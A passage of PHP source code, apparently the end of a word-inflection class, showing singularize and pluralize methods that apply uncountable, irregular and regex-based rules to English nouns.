        if (isset(static::$uncountables[$plural])) {
            return $plural;
        }
        $irregulars = array_flip(static::$irregulars);
        foreach ($irregulars as $pattern => $replacement) {
            if (preg_match("/$pattern\$/",$plural)) {
                return preg_replace("/$pattern\$/",$replacement,$plural);
            }
        }
        foreach (array_reverse(static::$singulars, true) as $pattern => $replacement) {
            if (preg_match($pattern,$plural)) {
                return preg_replace($pattern,$replacement,$plural);
            }
        }
        return $plural;
    }

    public static function pluralize(string $singular): string
    {
        if (isset(static::$uncountables[$singular])) {
            return $singular;
        }
        foreach (static::$irregulars as $pattern => $replacement) {
            if (preg_match("/$pattern\$/",$singular)) {
                return preg_replace("/$pattern\$/",$replacement,$singular);
            }
        }
        foreach (array_reverse(static::$plurals, true) as $pattern => $replacement) {
            if (preg_match($pattern,$singular)) {
                return preg_replace($pattern,$replacement,$singular);
            }
        }
        return $singular;
    }

}